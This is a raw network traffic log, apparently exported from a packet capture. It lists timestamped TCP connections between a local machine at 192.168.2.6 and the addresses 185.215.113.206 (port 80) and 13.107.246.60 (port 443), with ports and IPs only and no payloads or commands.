Oct 28, 2024 02:07:15.003845930 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003865004 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003889084 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003915071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003948927 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.003971100 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.003983974 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.004017115 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.004020929 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.004045010 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.004066944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.004414082 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.004448891 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.004470110 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.004483938 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.004494905 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.004518986 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.004534960 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.004589081 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.004647017 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.004703999 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.005131006 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.005187988 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.049313068 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049335957 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049354076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049375057 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049387932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049400091 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049406052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049455881 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.049455881 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.049580097 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049628973 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.049679041 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049690008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049695015 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.049742937 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.118344069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.118467093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.118468046 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.118478060 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.118558884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.118558884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120394945 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120434046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120455027 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120491028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120507002 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120524883 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120543003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120553970 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120554924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120567083 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120580912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120583057 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120583057 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120593071 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120609045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120609045 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120631933 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120651007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120695114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120704889 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120714903 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.120744944 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.120779037 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.121102095 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121112108 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121123075 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121139050 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121151924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121161938 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121164083 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.121165037 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.121193886 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.121215105 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.121587038 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121598959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121608973 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121619940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121630907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121637106 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.121673107 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.121674061 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.121767044 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121778965 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121788025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.121818066 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.121840000 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.166282892 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.166295052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.166441917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.166454077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.166465998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.166470051 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.166479111 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.166518927 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.166558981 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.166629076 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.166640997 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.166651964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.166681051 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.166716099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.211699009 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.213016987 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.213103056 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.213403940 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.213483095 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.214525938 CET	49715	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.214561939 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.220698118 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.223404884 CET	443	49713	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.224423885 CET	49715	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.224431038 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.230186939 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.236016989 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.236028910 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.236041069 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.236107111 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.236145973 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.238631964 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238645077 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238663912 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238687992 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238696098 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.238699913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238713980 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238720894 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.238729000 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238739967 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238750935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238751888 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.238765001 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238778114 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238781929 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.238792896 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238802910 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.238805056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238818884 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238828897 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.238831043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238845110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.238873959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.238873959 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.238895893 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.239223003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.239274979 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.239289045 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.239300966 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.239310980 CET	443	49716	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.239370108 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.239370108 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.239450932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.239495039 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.239496946 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.239507914 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.239520073 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.239532948 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.239543915 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.239546061 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.239567041 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.239604950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.239604950 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.271886110 CET	49712	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.271928072 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.272387981 CET	49712	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.272401094 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.272460938 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.272625923 CET	49716	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.272690058 CET	443	49716	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.272872925 CET	49713	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.273036003 CET	49716	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.273052931 CET	443	49716	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.273092031 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.273103952 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.273484945 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.273495913 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.273705006 CET	49713	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.273710966 CET	443	49713	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.274044991 CET	49713	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.274050951 CET	443	49713	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.283586979 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.283641100 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.283674955 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.283699036 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.283710003 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.283730984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.283730984 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.283751965 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.283864975 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.283916950 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.283931971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.283953905 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.283978939 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.284020901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.284035921 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.284074068 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.348979950 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.348999023 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.349098921 CET	49715	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.349111080 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.349129915 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.349176884 CET	49715	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.352905989 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.352921963 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.352933884 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.352946043 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.352960110 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.352986097 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.352986097 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.353072882 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.355129957 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355140924 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355182886 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.355236053 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355248928 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355258942 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355272055 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355283022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355288029 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.355343103 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.355343103 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.355616093 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355626106 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355674028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.355783939 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355794907 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355839968 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.355870008 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355880976 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355894089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355906010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.355920076 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.355957031 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.355957031 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.356151104 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356204033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.356247902 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356283903 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356301069 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.356333017 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.356378078 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356389046 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356431007 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.356549978 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356561899 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356570959 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356580019 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356615067 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.356647015 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.356846094 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356858015 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356869936 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356877089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.356901884 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.356934071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.357168913 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.357194901 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.357225895 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.357256889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.374452114 CET	49715	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.374475002 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.374486923 CET	49715	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.374494076 CET	443	49715	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.401022911 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.401057005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.401072025 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.401093960 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.401118040 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.401149035 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.401149988 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.401189089 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.401205063 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.401226044 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.401242018 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.401268005 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.401288033 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.401309013 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.401530981 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.401561022 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.401587963 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.401611090 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.401773930 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.401796103 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.401848078 CET	49712	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.401890993 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.401952028 CET	49712	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.402484894 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.402525902 CET	443	49712	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.402575970 CET	49712	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.403249979 CET	443	49713	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.403465033 CET	443	49713	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.403512001 CET	49713	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.406781912 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.406888008 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.406950951 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.406970978 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.407016039 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.407023907 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.407071114 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.412106991 CET	443	49716	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.412482977 CET	443	49716	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.412564039 CET	49716	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.427798033 CET	49713	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.427807093 CET	443	49713	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.427819014 CET	49713	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.427824020 CET	443	49713	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.428567886 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.428601980 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.428627968 CET	49714	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.428642988 CET	443	49714	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.441287994 CET	49716	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.441287994 CET	49716	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:15.441334009 CET	443	49716	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.441380978 CET	443	49716	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:15.470010042 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.470068932 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.470082998 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.470109940 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.470132113 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.470139980 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.470139980 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.470144033 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.470156908 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.470187902 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.470187902 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.470221996 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.472409010 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.472424030 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.472445011 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.472455025 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.472466946 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.472466946 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.472467899 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.472479105 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:15.472490072 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.472510099 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.472548962 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:15.472970009 CET	80	49710	185.215.113.206	192.168.2.6
